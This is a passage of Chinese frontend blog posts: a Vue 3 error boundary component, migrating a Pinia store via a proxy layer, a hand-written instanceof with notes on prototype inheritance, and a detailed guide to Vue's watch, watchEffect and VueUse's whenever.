  4. 对于异步错误,需要使用 try/catch 或全局错误处理
  5. Vue 3 Composition API 提供了更灵活的错误处理方式

🎯 Vue 3 中的错误处理实现(Setup 语法糖)

Vue 3 提供了更现代的 Composition API,结合 <script setup> 语法糖,可以更优雅地实现错误处理:

<template>
  <div>
    <slot v-if="!hasError"></slot>
    <div v-else class="error-boundary">
      <h2>抱歉,页面出现了错误 😢</h2>
      <div class="error-details" v-if="error">
        <p>{{ error.message }}</p>
        <details>
          <summary>错误详情</summary>
          <pre>{{ error.stack }}</pre>
        </details>
      </div>
      <button @click="handleReset" class="retry-button">
        重试
      </button>
    </div>
  </div>
</template>

<script setup>
import { ref, onErrorCaptured } from 'vue';

// 定义 props
const props = defineProps({
  // 支持自定义错误 UI
  fallbackUI: {
    type: Object,
    default: null
  }
});

// 定义事件
const emit = defineEmits(['reset']);

// 错误状态
const hasError = ref(false);
const error = ref(null);
const errorInfo = ref(null);

// 捕获子组件错误的生命周期钩子
onErrorCaptured((err, instance, info) => {
  console.error('Vue 3 错误边界捕获到错误:', err, instance, info);
  hasError.value = true;
  error.value = err;
  errorInfo.value = info;
  
  // 可以在这里上报错误日志
  reportError(err, info);
  
  // 返回 false 阻止错误继续向上传播
  return false;
});

// 错误日志上报函数
const reportError = async (err, info) => {
  try {
    await fetch('/api/error-report', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        error: err.toString(),
        stack: err.stack,
        info,
        userAgent: navigator.userAgent,
        url: window.location.href,
        timestamp: new Date().toISOString()
      })
    });
  } catch (reportErr) {
    console.error('错误上报失败:', reportErr);
  }
};

// 重置错误状态
const handleReset = () => {
  hasError.value = false;
  error.value = null;
  errorInfo.value = null;
  emit('reset');
};
</script>

使用示例

<template>
  <div class="app">
    <h1>Vue 3 错误处理示例</h1>
    
    <ErrorBoundary
      @reset="handleBoundaryReset"
    >
      <BuggyComponent />
    </ErrorBoundary>
    
    <!-- 也可以使用自定义错误 UI -->
    <ErrorBoundary
      :fallback-ui="customFallback"
    >
      <AnotherBuggyComponent />
    </ErrorBoundary>
  </div>
</template>

<script setup>
import { h } from 'vue';
import ErrorBoundary from './ErrorBoundary.vue';
import BuggyComponent from './BuggyComponent.vue';
import AnotherBuggyComponent from './AnotherBuggyComponent.vue';

// 自定义错误 UI
const customFallback = h('div', {
  class: 'custom-error'
}, [
  h('h3', '📊 图表加载失败'),
  h('p', '请检查网络连接后重试'),
  h('button', {
    onClick: () => console.log('重试按钮点击')
  }, '重新加载')
]);

// 错误边界重置回调
const handleBoundaryReset = () => {
  console.log('错误边界已重置,页面恢复正常');
};
</script>

📝 总结

错误边界是提升前端应用稳定性和用户体验的重要手段。通过合理使用错误边界,我们可以:

  1. 防止单个组件错误导致整个应用崩溃
  2. 提供友好的错误提示,引导用户操作
  3. 收集错误信息,帮助开发者快速定位问题
  4. 提升应用的专业感和可靠性

希望这个小技巧对你有所帮助!如果你有任何问题或建议,欢迎在评论区留言讨论 🤗


相关资源:

标签: #React #Vue #前端错误处理 #用户体验优化

Pinia Store 平滑迁移:用代理模式实现零风险重构

2025年12月8日 13:50

重构遗留代码最怕什么?改一处崩十处。这篇文章分享一个我在实际项目中用过的方案:用代理模式实现 Pinia Store 的平滑迁移,让几十处旧代码无感升级。

背景:为什么要迁移

项目里有个 useUserStore,最早是用 Options API 写的,随着业务迭代,问题越来越多:

  • 类型定义不完整,到处是 any
  • 命名不规范,setUserInfoActionloginOut 这种命名看着难受
  • 状态结构和后端返回不一致,前端加了很多 hack
  • 没有按业务域组织,所有 Store 都堆在根目录

想重构成 Setup 风格,顺便理清类型和命名。但问题来了:这个 Store 被几十个文件引用,直接改导入路径?风险太大。

方案:代理模式 + 渐进式迁移

核心思路很简单:不动旧路径,让旧文件变成代理

旧导入路径                        新 Store
src/store/user.ts  ───代理───►  src/store/core/user.ts
       ▲                               │
       │                               │
   几十处业务代码                     唯一数据源

这样做的好处:

  • ✅ 旧代码一行不改,继续用 ~/store/user 导入
  • ✅ 新代码直接用 ~/store/core 导入
  • ✅ 数据源唯一,不会出现状态不同步
  • ✅ 可以慢慢把旧代码迁移到新路径

实现步骤

Step 1:先写新的 Store

src/store/core/user.ts 创建新的 Setup 风格 Store:

// src/store/core/user.ts
export const useUserStore = defineStore('user', () => {
  // ==================== State ====================
  const userInfo = ref<UserInfo>(getDefaultUserInfo())
  const permissions = ref<Permission[]>([])
  const locale = ref<SupportedLanguage>('zh')
  const isRouterInitialized = ref(false)

  // ==================== Getters ====================
  const isLoggedIn = computed(() => !!userInfo.value.id)
  const nickname = computed(() => userInfo.value.realName || '')

  // ==================== Actions ====================
  async function loadUserInfo(): Promise<void> {
    const res = await userApi.getPermissionsInfo()
    if (res.data) {
      userInfo.value = { ...getDefaultUserInfo(), ...res.data.user }
      permissions.value = res.data.permissions || []
    }
  }

  async function logout(): Promise<void> {
    userInfo.value = getDefaultUserInfo()
    permissions.value = []
    // ... 清理逻辑
  }

  return {
    userInfo, permissions, locale, isRouterInitialized,
    isLoggedIn, nickname,
    loadUserInfo, logout,
  }
})

类型清晰,命名规范,舒服。

Step 2:把旧文件改成代理

重点来了。把原来的 src/store/user.ts 改成代理层:

// src/store/user.ts - 变成代理层
import type { Pinia } from 'pinia'
import { storeToRefs } from 'pinia'
import { computed } from 'vue'
import { useUserStore as useCoreUserStore } from './core/user'

/**
 * @deprecated 建议迁移到 useUserStore from '~/store/core'
 */
export function useUserStore(_pinia?: Pinia) {
  // 转发到新 Store
  const coreStore = useCoreUserStore()

  const { userInfo, permissions, locale, isRouterInitialized } = storeToRefs(coreStore)

  // 兼容旧的 getter 命名
  const getLocale = computed(() => locale.value)
  const getPermissions = computed(() => permissions.value)

  // 兼容旧的 action 命名
  async function setUserInfoAction() {
    await coreStore.loadUserInfo()  // 转发
  }

  async function loginOut() {
    await coreStore.logout()  // 转发
  }

  // 兼容 userStore.user.xxx 的直接访问方式
  const userProxy = {
    get user() { return userInfo.value }
  }

  return {
    userInfo, permissions, locale,
    ...userProxy,  // 支持 store.user.readAll 这种访问
    // 旧命名(兼容)
    getLocale, getPermissions,
    setUserInfoAction, loginOut,
    // 新命名(推荐)
    loadUserInfo: coreStore.loadUserInfo,
    logout: coreStore.logout,
  }
}

几个关键点:

1. 接受可选的 pinia 参数

旧代码可能写成 useUserStore(store),新的代理层要兼容这种写法,虽然参数实际不用。

2. 用 getter 代理 user 属性

旧代码直接 userStore.user.readAll 访问,不是 userStore.user.value.readAll。用 getter 可以实现这种"直接访问"的效果:

const userProxy = {
  get user() { return userInfo.value }
}
return { ...userProxy }

3. 新旧命名都暴露

让业务代码可以渐进式迁移,setUserInfoActionloadUserInfo 同时可用。

Step 3:加上 @deprecated 标记

给代理层加上 JSDoc 的 @deprecated 标记,IDE 会给出提示,方便后续清理:

/** @deprecated 使用 coreStore.loadUserInfo 代替 */
async function setUserInfoAction() {
  await coreStore.loadUserInfo()
}

测试验证

迁移最怕的是"看起来没问题,上线才出事"。这里给一套验证方案。

快速冒烟测试

在浏览器控制台跑一下:

// 旧路径
import { useUserStore } from '~/store/user'
// 新路径
import { useUserStore as useCoreUserStore } from '~/store/core'

const oldStore = useUserStore()
const newStore = useCoreUserStore()

// 验证数据源唯一
console.log('引用相同:', oldStore.userInfo === newStore.userInfo)  // true

// 验证状态同步
newStore.setLocale('en')
console.log('状态同步:', oldStore.locale.value === 'en')  // true

关键路径验证

场景 操作 预期
登录 正常登录 用户名正确显示
权限 访问受限页面 权限判断正常
语言 切换中英文 全局切换,刷新后保持
登出 点击登出 状态清除,跳转登录页
刷新 F5 刷新页面 状态正确恢复

单元测试

写一个兼容性测试,确保新旧 API 行为一致:

describe('User Store 兼容性', () => {
  it('新旧 Store 应指向同一数据源', () => {
    const oldStore = useUserStore()
    const coreStore = useCoreUserStore()
    expect(oldStore.userInfo).toBe(coreStore.userInfo)
  })

  it('setUserInfoAction 应等价于 loadUserInfo', async () => {
    const store = useUserStore()
    await store.setUserInfoAction()
    expect(store.userInfo.value.id).toBeTruthy()
  })
})

渐进式迁移

代理层搞定后,业务代码可以慢慢迁移:

// ============ 旧写法(继续可用) ============
import { useUserStore } from '~/store/user'

const store = useUserStore(pinia)
console.log(store.user.readAll)
await store.setUserInfoAction()

// ============ 新写法(推荐) ============
import { useUserStore } from '~/store/core'

const store = useUserStore()
console.log(store.userInfo.readAll)
await store.loadUserInfo()

没有 deadline 压力的话,可以每次改业务功能的时候顺手把导入路径改掉,几个月后旧路径的引用自然就清零了。


兼容点速查表

旧用法 兼容方式
useUserStore(store) 接受可选参数 _pinia?: Pinia
userStore.user.readAll 使用 getter 代理直接访问
userStore.setUserInfoAction() 转发到 loadUserInfo()
userStore.loginOut() 转发到 logout()
userStore.isSetRouters 别名到 isRouterInitialized
userStore.getLocale computed 包装 locale.value

总结

这套方案的核心就三点:

  1. 数据源唯一:新旧路径最终都指向同一个 Store 实例
  2. API 兼容:代理层转发所有旧的方法调用
  3. 渐进迁移:新旧写法并存,没有硬性切换时间点

适用场景:

  • Store 被大量文件引用,不敢直接改路径
  • 想重构但又怕出问题
  • 团队习惯渐进式改进,不喜欢大爆炸式重构

不适用场景:

  • Store 只有几处引用,直接全局替换更快
  • 重构涉及 Store ID 变更(会影响持久化)

希望这个方案对你有帮助。有问题欢迎讨论 👋

手写 instanceof:深入理解 JavaScript 原型与继承机制

作者 wwwwW
2025年12月8日 13:46

手写 instanceof:深入理解 JavaScript 原型与继承机制

在 JavaScript 的面向对象编程(OOP)体系中,instanceof 是一个非常关键的运算符。它用于判断某个对象是否是特定构造函数的实例,其本质是检查该对象的原型链上是否存在指定构造函数的 prototype 对象。然而,在大型项目、多人协作开发场景下,开发者常常对对象的来源和继承关系感到困惑。此时,理解并掌握 instanceof 的底层原理,甚至手写其实现逻辑,就显得尤为重要。

本文将围绕“手写 instanceof”这一主题,从原型与原型链的基本概念出发,逐步剖析 JavaScript 中的继承方式,并最终实现一个符合规范的 isInstanceOf 函数。


一、原型与原型链:JavaScript OOP 的基石

JavaScript 并不像 Java 或 C++ 那样拥有“类”的语法(ES6 之前的版本),而是基于原型(Prototype) 实现面向对象编程。每个函数都有一个 prototype 属性,指向一个对象;而每个对象(除 null 外)都有一个内部属性 [[Prototype]],通常通过 __proto__ 访问。

当使用 new 关键字创建对象时,新对象的 [[Prototype]] 会被设置为构造函数的 prototype。例如:

function Animal() {}
const dog = new Animal();
console.log(dog.__proto__ === Animal.prototype); // true

这种链接关系形成了所谓的原型链。当访问一个对象的属性或方法时,如果自身没有,JavaScript 引擎会沿着原型链向上查找,直到找到该属性或到达链的顶端(即 Object.prototype,其 __proto__null)。


二、instanceof 的作用与局限

instanceof 运算符的语法为:

A instanceof B

其含义是:A 的原型链上是否包含 B.prototype。这在判断对象“血缘关系”时非常有用:

const arr = [];
console.log(arr instanceof Array);  // true
console.log(arr instanceof Object); // true

instanceof 也有局限性:

  • 在跨 iframe 或不同全局环境(如 Web Worker)中,由于构造函数引用不同,可能导致误判。
  • 它依赖于原型链,若原型被篡改,结果可能不可靠。

因此,理解其内部机制,有助于我们在必要时自定义更可靠的类型判断逻辑。


三、手写 instanceof:模拟原型链查找

根据 instanceof 的定义,我们可以手动实现一个 isInstanceOf 函数:

function isInstanceOf(left, right) {
    let proto = left.__proto__;
    while (proto) {
        if (proto === right.prototype) {
            return true;
        }
        proto = proto.__proto__;
    }
    return false;
}

该函数从 left 对象的 __proto__ 开始,逐级向上遍历原型链,若在某一层发现与 right.prototype 引用相等,则返回 true;若遍历到 null 仍未找到,则返回 false

示例验证:

function Animal() {}
function Dog() {}
Dog.prototype = new Animal();

const dog = new Dog();

console.log(isInstanceOf(dog, Dog));     // true
console.log(isInstanceOf(dog, Animal));  // true
console.log(isInstanceOf(dog, Object));  // true
console.log(isInstanceOf(dog, Array));   // false

结果与原生 instanceof 完全一致,说明我们的实现是正确的。

注意:现代 JavaScript 推荐使用 Object.getPrototypeOf(obj) 替代 obj.__proto__,以提高代码的规范性和兼容性。因此更健壮的写法是:

function isInstanceOf(left, right) {
    let proto = Object.getPrototypeOf(left);
    while (proto) {
        if (proto === right.prototype) return true;
        proto = Object.getPrototypeOf(proto);
    }
    return false;
}

四、JavaScript 中的继承方式

要真正理解 instanceof 的意义,还需了解 JavaScript 中常见的继承模式。因为 instanceof 判断的是“原型继承关系”,而非“属性拷贝”。

1. 构造函数绑定(借用构造函数)

通过 callapply 调用父类构造函数,将属性复制到子类实例:

function Animal() {
    this.species = '动物';
}
function Cat(name) {
    Animal.call(this); // 继承属性
    this.name = name;
}

优点:可传参,避免引用共享。
缺点:无法继承父类原型上的方法,cat instanceof Animalfalse

2. 原型链继承(prototype 模式)

将父类的实例设为子类的原型:

Cat.prototype = new Animal();
Cat.prototype.constructor = Cat; // 修正 constructor

此时,new Cat() 的原型链包含 Animal.prototype,因此:

const cat = new Cat('小黑');
console.log(cat instanceof Animal); // true

缺点:无法向父类构造函数传参;所有子类实例共享父类实例的属性(若父类有引用类型属性,会相互影响)。

3. 组合继承(推荐)

结合上述两种方式:

function Cat(name) {
    Animal.call(this); // 继承属性
    this.name = name;
}
Cat.prototype = new Animal(); // 继承方法
Cat.prototype.constructor = Cat;

既可传参,又能正确建立原型链,使得 instanceof 判断有效。

4. 直接继承 prototype(需谨慎)

Cat.prototype = Animal.prototype;

虽然节省内存,但会导致 Cat.prototype.constructor 指向 Animal,且修改 Cat.prototype 会直接影响 Animal.prototype,破坏封装性。


五、为什么 instanceof 在大型项目中很重要?

在复杂系统中,对象可能来自多个模块、第三方库,甚至动态生成。开发者往往不清楚某个对象到底“是谁的孩子”。此时:

  • 使用 typeof 只能区分基本类型;
  • 使用 Object.prototype.toString.call() 虽可识别内置类型,但对自定义类无能为力;
  • instanceof 提供了基于“继承关系”的语义化判断,是类型安全的重要保障。

例如:

function handleEntity(entity) {
    if (entity instanceof User) {
        entity.login();
    } else if (entity instanceof Product) {
        entity.display();
    }
}

这种基于类型的分发逻辑,依赖于正确的原型链设计和 instanceof 判断。


六、总结

instanceof 不仅仅是一个运算符,它体现了 JavaScript 原型继承的核心思想。通过手写 isInstanceOf,我们不仅掌握了其工作原理,也加深了对原型链的理解。在实际开发中,合理使用继承模式(如组合继承),配合 instanceof 进行类型判断,能够显著提升代码的可维护性与健壮性。

在 ES6+ 时代,虽然 class 语法糖让继承看起来更“传统”,但其底层依然是基于原型链。因此,无论语法如何演进,理解原型机制始终是掌握 JavaScript 面向对象编程的关键

正如那句老话:“知其然,更要知其所以然。”——手写 instanceof,正是通往这一境界的一条捷径。

Vue中的watch

2025年12月8日 13:43

深入理解 watch

watchVue 组合式 API (Composition API) 中的一个核心功能,它允许我们侦听一个或多个响应式数据源,并在数据源变化时执行一个回调函数。这对于执行异步操作或基于数据变化执行复杂逻辑非常有用。

1. 基本用法

最简单的用法是侦听一个 ref

  • 参数 :
    1. watch 的第一个参数可以是不同形式的“数据源”:它可以是一个 ref (包括计算属性)、一个响应式对象、一个 getter 函数、或多个数据源组成的数组:
    2. 数据变化时执行的回调函数,该函数接收新值 (newValue) 和旧值 (oldValue)。
import { ref, watch } from 'vue'
// 1. 定义一个响应式数据
const count = ref(0)
// 2. 侦听 count 的变化
watch(count, (newValue, oldValue) => {
 console.log(`count 从 ${oldValue} 变成了 ${newValue}`)
})
// 3. 修改数据以触发 watch
setTimeout(() => {
 count.value++ // 控制台将输出: "count 从 0 变成了 1"
}, 1000)

2. 侦听响应式对象

当侦听一个 reactive 对象时,watch 会隐式地创建一个深层侦听器。这意味着对象内部任何嵌套属性的变化都会触发回调。

注意:此时 newValueoldValue 将是同一个对象引用,因为它们都指向同一个 reactive 对象。

import { reactive, watch } from 'vue'

const state = reactive({
 id: 1,
 user: {
  name: 'Alice',
  age: 20
 }
})

watch(state, (newState, oldState) => {
 console.log('state 对象发生了变化')
 // 注意:newState === oldState
})
// 修改嵌套属性会触发 watch
state.user.age++ // 控制台将输出: "state 对象发生了变化"

3. 侦听 Getter 函数

为了更精确地控制侦听的目标,或者只侦听响应式对象中的某个属性,我们可以向 watch 传递一个 getter 函数 () => ...

这是最常用和推荐的方式之一,因为它具有更好的性能和更明确的意图。

// ...接上一个例子
// 只侦听 state.user.age 的变化
watch(
 () => state.user.age,
 (newAge, oldAge) => {
  console.log(`年龄从 ${oldAge} 变成了 ${newAge}`)
 }
)
state.user.age++ // 控制台将输出: "年龄从 20 变成了 21"
state.id++    // 不会触发这个 watch

相比侦听响应式对象,一个返回响应式对象的 getter 函数,只有在返回不同的对象时,才会触发回调:

watch(
  () => state.someObject,
  (newValue, oldValue) => {
    // 注意:`newValue` 此处和 `oldValue` 是相等的
    // *除非* state.someObject 被整个替换了
  },
  { deep: true }// 可以给上面这个例子显式地加上 deep 选项,强制转成深层侦听器:
)

4. 侦听多个数据源

watch 也可以同时侦听多个数据源,只需将它们放在一个数组中即可。回调函数接收的新旧值也将是数组。

const firstName = ref('John')
const lastName = ref('Doe')

watch([firstName, lastName], ([newFirst, newLast], [oldFirst, oldLast]) => {
 console.log(`姓名从 ${oldFirst} ${oldLast} 变成了 ${newFirst} ${newLast}`)
})
firstName.value = 'Jane' // 控制台将输出: "姓名从 John Doe 变成了 Jane Doe"

5. 配置选项

watch 接受第三个参数,一个配置对象,用于自定义其行为。

  • immediate: true: 使侦听器在创建时立即执行一次回调。此时 oldValueundefined

    watch(count, (newValue) => {
     console.log(`当前 count 是: ${newValue}`)
    }, { immediate: true }) // 控制台会立即输出: "当前 count 是: 0"
    
  • deep: true: 强制开启深层侦听。当侦听一个 ref 包裹的对象时,必须使用此选项才能侦听到对象内部属性的变化。

    const state = ref({ nested: { count: 0 } })
    
    // 必须加 deep: true 才能侦听到 state.value.nested.count 的变化
    watch(state, (newState) => {
     console.log('state 内部发生了变化')
    }, { deep: true })
    state.value.nested.count++ // 控制台将输出: "state 内部发生了变化"
    

    在 Vue 3.5+ 中,deep 选项还可以是一个数字,表示最大遍历深度——即 Vue 应该遍历对象嵌套属性的级数。

    谨慎使用

    深度侦听需要遍历被侦听对象中的所有嵌套的属性,当用于大型数据结构时,开销很大。因此请只在必要时才使用它,并且要留意性能。

  • once: true:每当被侦听源发生变化时,侦听器的回调就会执行。如果希望回调只在源变化时触发一次

    watch(
      source,
      (newValue, oldValue) => {
        // 当 `source` 变化时,仅触发一次
      },
      { once: true }
    )
    
    • 仅支持 3.4 及以上版本
  • flush:调整回调函数的刷新时机。参考回调的刷新时机watchEffect()

    watch(source, callback, {
      flush: 'post'//'pre' | 'post' | 'sync' 默认:'pre'
    })
    // watchEffect的第二个参数
    watchEffect(callback, {
      flush: 'post'
    })
    

6. watch vs watchEffect

特性 watch watchEffect
依赖追踪 手动指定,更明确 自动追踪,更方便
执行时机 默认懒执行(数据变化后才执行) 立即执行一次,然后自动追踪
访问旧值 可以 不可以
使用场景 需要知道新旧值、需要精确控制依赖、执行异步或复杂逻辑 简单的副作用,如根据 A 的值更新 B,或打印日志

✨TIP

watchEffect 仅会在其同步执行期间,才追踪依赖。在使用异步回调时,只有在第一个 await 正常工作前访问到的属性才会被追踪。

总结
  • 当你需要精确控制侦听哪个数据时,使用 watch
  • 当你需要访问变化前后的值时,使用 watch
  • 当你需要在数据变化时执行异步操作或开销较大的操作时,watch 提供了更清晰的控制。
  • 对于简单的、需要立即执行且自动追踪依赖的副作用,可以考虑使用 watchEffect

7. 副作用清理

在侦听器中执行一个异步任务,但是在异步任务获取结果之前又重新触发了侦听器

例如通过 id 请求一个数据接口,再数据返回之前 id 变化了,又重新触发了新的请求理想情况下,我们希望能够在 id 变为新值时取消过时的请求。

watch 回调中处理异步操作时遇到的**竞态条件(Race Condition)**问题。

我们可以使用 onWatcherCleanup() (3.5+)API 来注册一个清理函数,当侦听器失效并准备重新运行时会被调用

侦听器何时生效?

  1. 源数据再次变化,导致侦听器准备重新运行时(这是为了处理竞态条件)。
  2. 侦听器被手动停止(调用 stop())。
  3. 侦听器因组件卸载而被自动停止
  4. 侦听器因 once: true 完成其唯一一次任务而被自动停止
import { watch, onWatcherCleanup } from 'vue'

watch(id, (newId) => {
  const controller = new AbortController()
  fetch(`/api/${newId}`, { signal: controller.signal }).then(() => {
    // 回调逻辑
  })
  onWatcherCleanup(() => {
    // 终止过期请求
    controller.abort()
  })
})

请注意,onWatcherCleanup 仅在 Vue 3.5+ 中支持,并且必须在 watchEffect 效果函数或 watch 回调函数的同步执行期间调用:你不能在异步函数的 await 语句之后调用它。

作为替代,onCleanup 函数还作为第三个参数传递给侦听器回调,以及 watchEffect 作用函数的第一个参数:

watch(id, (newId, oldId, onCleanup) => {
  // ...
  onCleanup(() => {
    // 清理逻辑
  })
})

watchEffect((onCleanup) => {
  // ...
  onCleanup(() => {
    // 清理逻辑
  })

通过函数参数传递的 onCleanup 与侦听器实例相绑定,因此不受 onWatcherCleanup 的同步限制。

旧方式 (onInvalidate 参数) 新方式 (onWatcherCleanup API)
可用版本 Vue 3.0+ Vue 3.5+
用法 watch((v, ov, onInvalidate) => { onInvalidate(...) }) watch(() => { onWatcherCleanup(...) })
状态 仍然有效,但不再是首选。 推荐使用,是未来的方向。

8. 回调的触发时机

默认情况下,侦听器回调会在父组件更新 (如有) 之后、所属组件的 DOM 更新之前被调用。这意味着如果你尝试在侦听器回调中访问所属组件的 DOM,那么 DOM 将处于更新前的状态。

Post Watchers

如果想在侦听器回调中能访问被 Vue 更新之后的所属组件的 DOM,你需要指明 flush: 'post' 选项:

watch(source, callback, {
  flush: 'post'
})

watchEffect(callback, {
  flush: 'post'
})

后置刷新的 watchEffect() 有个更方便的别名 watchPostEffect()

import { watchPostEffect } from 'vue'

watchPostEffect(() => {
  /* 在 Vue 更新后执行 */
})
同步侦听器

你还可以创建一个同步触发的侦听器,它会在 Vue 进行任何更新之前触发:

watch(source, callback, {
  flush: 'sync'
})

watchEffect(callback, {
  flush: 'sync'
})

同步触发的 watchEffect() 有个更方便的别名 watchSyncEffect()

import { watchSyncEffect } from 'vue'

watchSyncEffect(() => {
  /* 在响应式数据变化时同步执行 */
})

❗谨慎使用

同步侦听器不会进行批处理,每当检测到响应式数据发生变化时就会触发。可以使用它来监视简单的布尔值,但应避免在可能多次同步修改的数据源 (如数组) 上使用。

9. 停止侦听器

默认情况下,组件卸载时会自动停止侦听器,但是侦听器默认是在同步创建的,如果异步创建,必须手动停止,防止内存泄漏!!!

当你把 watchwatchEffect 的调用放在一个异步回调中时(例如 setTimeout, Promise.then, async/await 之后),情况就完全不同了。

  • 此时,组件的 setup() 函数已经执行完毕。
  • 当你的异步回调函数最终执行时,Vue 的执行上下文已经改变,getCurrentInstance() 会返回 null

侦听器在创建时,环顾四周发现:“我不知道我属于哪个组件!” 它无法找到一个可以“报到”的组件实例。

这个侦听器就成了一个**“孤儿”**,它独立于任何组件的生命周期之外。因此,当原来的组件被卸载时,Vue 的清理机制根本不知道这个“孤儿”侦听器的存在,自然也无法为它调用 stop()

<script setup>
import { watchEffect } from 'vue'
// 它会自动停止
watchEffect(() => {})

// ...这个则不会!
setTimeout(() => {
  watchEffect(() => {})
}, 100)
</script>

要手动停止一个侦听器,请调用 watchwatchEffect 返回的函数:

const unwatch = watchEffect(() => {})

// ...当该侦听器不再需要时
unwatch()
暂停/恢复侦听器(3.5+)
const { stop, pause, resume } = watch(() => {})
// 暂停侦听器
pause()
// 稍后恢复
resume()
// 停止
stop()

const { stop, pause, resume } = watchEffect(() => {})
// 暂停侦听器
pause()
// 稍后恢复
resume()
// 停止
stop()

computed vs watch vs whenever

Vue 中,computedwatch 都是处理响应式数据变化的核心工具,但它们的应用场景和设计理念完全不同。VueUse 库则在 watch 的基础上提供了更具表达力的工具,如 whenever

1. computed vs watch:核心区别

简单来说:

  • computed:用于派生出一个新的、可缓存的响应式数据。它关心的是返回值
  • watch:用于观察一个数据的变化,并执行副作用(Side Effect)。它不关心返回值。
对比表格
特性 computed (计算属性) watch (侦听器)
本质 派生值 (Derivation) 副作用 (Side Effect)
返回值 必须有,返回一个可缓存的 ref 没有,执行一个回调函数
缓存 。依赖不变时,多次访问直接返回缓存结果 没有。每次数据变化都会执行回调
执行时机 懒执行。仅在被访问且依赖变化时才重新计算 默认懒执行。仅在数据变化后执行回调(可通过 immediate 配置立即执行)
异步操作 不支持。计算属性内部应该是同步的纯函数 支持。可以在回调中执行 API 请求等异步操作
使用场景 从现有数据计算新数据(如 fullName 数据变化时执行异步操作、更新非 Vue 管理的 DOM、或执行复杂逻辑
代码示例

computed 示例:

import { ref, computed } from 'vue';

const firstName = ref('John');
const lastName = ref('Doe');

// `fullName` 是一个派生出来的 ref,它依赖于 firstName 和 lastName
const fullName = computed(() => {
 console.log('计算 fullName...'); // 只有依赖变化时才打印
 return `${firstName.value} ${lastName.value}`;
});
// 在模板中使用 {{ fullName }} 即可

watch 示例:

import { ref, watch } from 'vue';

const userId = ref(1);
const userData = ref(null);

// 侦听 userId 的变化,然后执行获取数据的副作用
watch(userId, async (newId, oldId) => {
 console.log(`User ID 从 ${oldId} 变为 ${newId},正在获取新数据...`);
    
 const response = await fetch(`https://api.example.com/users/${newId}`);
 userData.value = await response.json();
}, { immediate: true }); // immediate: true 确保组件加载时就获取一次数据

2. watch vs whenever (来自 VueUse)

VueUse 是一个基于 Composition API 的实用工具集。 whenever 是它提供的一个 watch 的“语法糖”,让代码更具可读性。

核心区别
  • watch:无论新值是什么,只要数据源变化,回调总是执行。
  • whenever:只有当数据源的值变为真值 (truthy) 时,回调才会执行。它是一个带有内置条件判断的 watch

whenever 的内部其实就是使用 watchWithFilter 实现的,它等价于一个带有 filter 选项的 watch

对比表格
特性 watch whenever (VueUse)
执行条件 数据源变化就执行 数据源变化,且新值为真值 (truthy) 时才执行
可读性 需要在回调函数内部写 if 判断 非常高,语义清晰,代码即注释
使用场景 通用的侦听场景 当某个条件满足时执行一次性操作(如弹窗、登录成功后跳转)

使用 watch 的写法:

import { watch, ref } from 'vue'

const myValue = ref<string | null>(null)

watch(myValue, (newValue) => {
  // 每次 myValue 变化都会执行这里
  if (newValue) { // 需要自己加一个 if 判断
    // 只有当 newValue 是真值时才执行核心逻辑
    console.log(`值变成了: ${newValue}`)
  }
})

使用 whenever 的写法 (更优雅):

import { whenever } from '@vueuse/core'

const myValue = ref<string | null>(null)

whenever(myValue, (newValue) => {
  // 只有当 myValue 变为真值时,才会执行这里
  console.log(`值变成了: ${newValue}`)
})

现在我们来逐行分析它的 实现

/**
 * Shorthand for watching value to be truthy
 *
 * @see https://vueuse.org/whenever
 */
export function whenever<T>(source: WatchSource<T | false | null | undefined>, cb: WatchCallback<T>, options?: WheneverOptions) {
  const stop = watch(
    source,
    (v, ov, onInvalidate) => {
      if (v) {
        if (options?.once)
          nextTick(() => stop())
        cb(v, ov, onInvalidate)
      }
    },
    {
      ...options,
      once: false,
    } as WatchOptions,
  )
  return stop
}
// 1. 定义了函数的签名
export function whenever<T>(source: WatchSource<T | false | null | undefined>, cb: WatchCallback<T>, options?: WheneverOptions) {
  • source: 这是要侦听的源。可以是 refreactive 对象、getter 函数等。注意它的类型 T | false | null | undefined,这明确表示 whenever 就是为了处理可能为“假值 (falsy)”的源而设计的。
  • cb: 这是当 source 变为真值时要执行的回调函数。
  • options: 这是一个可选的配置对象,它继承了 watch 的所有选项(如 immediate, deep),并额外增加了一个 once 选项。
// 2. 函数的核心:调用 Vue 内置的 watch 函数
  const stop = watch(

whenever 的本质就是一个 watch。它返回 watchstop 函数,这意味着你可以像停止一个普通 watch 一样停止 whenever

// 3. watch 的回调函数,这是 whenever 的魔法所在
    source,
    (v, ov, onInvalidate) => {
      if (v) { // <--- 关键检查!
        if (options?.once)
          nextTick(() => stop())
        cb(v, ov, onInvalidate)
      }
    },

这是传递给内部 watch 的回调函数。每次 source 发生变化,这个函数都会被调用。

  • if (v): 这是整个函数的核心。vsource 的新值。这个 if 语句检查新值是否为真值(即不是 null, undefined, false, 0, ''NaN)。

  • 只有当 v 是真值时,才会执行 if 块内部的逻辑。

  • if (options?.once)

    : 如果用户设置了once: true,则执行 nextTick(() => stop())

    • stop(): 调用这个函数会停止当前的 watch,从而实现“只执行一次”的效果。

    • nextTick(): 为什么要用 nextTick

      ✨这是一个非常巧妙的细节。它确保了本次的回调函数 cb 能够完整执行完毕,然后在下一个 DOM 更新周期(tick)中再停止侦听。这避免了在回调函数执行过程中就销毁侦听器可能引发的潜在问题。

  • cb(v, ov, onInvalidate): 如果 v 是真值,就调用用户传入的原始回调函数 cb,并把 watch 的所有参数(新值、旧值、失效回调)都透传过去。

// 4. watch 的配置对象
    {
      ...options,
      once: false,
    } as WatchOptions,
  )

这里是传递给内部 watch 的配置对象。

  • ...options: 将用户传入的所有配置(如 immediate, deep)都传递给底层的 watch

  • once: false: 这是一个关键的覆盖操作。

    ✨Vue 3.4+ 的 watch 本身也支持 once 选项。但是 wheneveronce 逻辑是自己实现的(为了配合真值检查)。为了防止与 Vue 内置的 once 行为冲突,这里强制将传递给 watchonce 选项设置为 false,确保 whenever 自己的 once 逻辑能够正常工作。

// 5. 返回 stop 函数
  return stop
}

最后,将内部 watch 返回的 stop 函数返回给调用者,让用户可以随时手动停止侦听。

总结

  1. computed 是为了计算出一个新值。
  2. watch 是为了在数据变化时做事
  3. wheneverwatch 的一个变种,它通过巧妙地使用 nextTick 和覆盖 once 选项,实现了自定义的、与真值判断相结合的“执行一次”功能。

2025年ERC标准技术地图:开发者的核心协议选型与实战指南

作者 木西
2025年12月8日 13:21

前言

